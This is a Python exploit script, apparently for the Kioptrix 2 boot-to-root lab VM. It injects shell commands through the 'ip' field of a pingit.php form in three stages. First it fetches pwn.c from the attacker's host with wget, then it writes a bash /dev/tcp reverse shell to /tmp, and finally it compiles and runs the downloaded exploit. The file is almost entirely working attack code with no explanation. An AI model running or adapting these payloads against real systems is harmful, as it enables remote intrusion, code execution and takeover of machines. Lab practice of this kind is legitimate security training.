#!/usr/bin/python
# -*- coding: latin-1 -*-
import requests
import sys


banner = """

██╗  ██╗██╗ ██████╗ ██████╗ ████████╗██████╗ ██╗██╗  ██╗    ██████╗     
██║ ██╔╝██║██╔═══██╗██╔══██╗╚══██╔══╝██╔══██╗██║╚██╗██╔╝    ╚════██╗    
█████╔╝ ██║██║   ██║██████╔╝   ██║   ██████╔╝██║ ╚███╔╝      █████╔╝    
██╔═██╗ ██║██║   ██║██╔═══╝    ██║   ██╔══██╗██║ ██╔██╗     ██╔═══╝     
██║  ██╗██║╚██████╔╝██║        ██║   ██║  ██║██║██╔╝ ██╗    ███████╗    
╚═╝  ╚═╝╚═╝ ╚═════╝ ╚═╝        ╚═╝   ╚═╝  ╚═╝╚═╝╚═╝  ╚═╝    ╚══════╝    

██████╗  ██████╗  ██████╗ ████████╗    ██████╗     ██████╗  ██████╗  ██████╗ ████████╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ╚════██╗    ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
██████╔╝██║   ██║██║   ██║   ██║        █████╔╝    ██████╔╝██║   ██║██║   ██║   ██║   
██╔══██╗██║   ██║██║   ██║   ██║       ██╔═══╝     ██╔══██╗██║   ██║██║   ██║   ██║   
██████╔╝╚██████╔╝╚██████╔╝   ██║       ███████╗    ██║  ██║╚██████╔╝╚██████╔╝   ██║   
╚═════╝  ╚═════╝  ╚═════╝    ╚═╝       ╚══════╝    ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝  

███████╗██╗  ██╗██████╗ ██╗      ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║     ██╔═══██╗██║╚══██╔══╝
█████╗   ╚███╔╝ ██████╔╝██║     ██║   ██║██║   ██║   
██╔══╝   ██╔██╗ ██╔═══╝ ██║     ██║   ██║██║   ██║   
███████╗██╔╝ ██╗██║     ███████╗╚██████╔╝██║   ██║   
╚══════╝╚═╝  ╚═╝╚═╝     ╚══════╝ ╚═════╝ ╚═╝   ╚═╝     Coded by Silky
                                                     

"""

def usage():
    print(banner)
    print ("python exploit.py rhost lhost lport") 

def stageone():
    print("[+] Fire Stage One")
    print("[+] Downloading Exploit")
    data = '127.0.0.1;cd /tmp/ && wget http://'+lhost+'/pwn.c'
    r = requests.post("http://"+rhost+"/pingit.php", data={'ip': data, 'submit': 'submit'})
    print("[+] Done!")

def stagetwo():
    print("[+] Fire Stage Two")
    print("[+] Creating Rev-Shell File")
    lport = sys.argv[3]
    payload = "bash -i >& /dev/tcp/" +lhost + "/" +lport  +" 0>&1"
    data = '127.0.0.1;echo "'+payload+'" > /tmp/rev'
    r = requests.post("http://"+rhost+"/pingit.php", data={'ip': data, 'submit': 'submit'})
    print("[+] Done!")

def stagethree():
    print("[+] Fire Stage Three")
    print("[+] Compiling Exploit Code")
    print("[+] Firing Rev-Shell")
    data = '127.0.0.1;gcc -o /tmp/pwn /tmp/pwn.c && /tmp/pwn'
    r = requests.post("http://"+rhost+"/pingit.php", data={'ip': data, 'submit': 'submit'})


try:
    rhost =sys.argv[1]
    lhost =sys.argv[2]
    print(banner)
    stageone()
    stagetwo()
    stagethree()


except:
    usage()

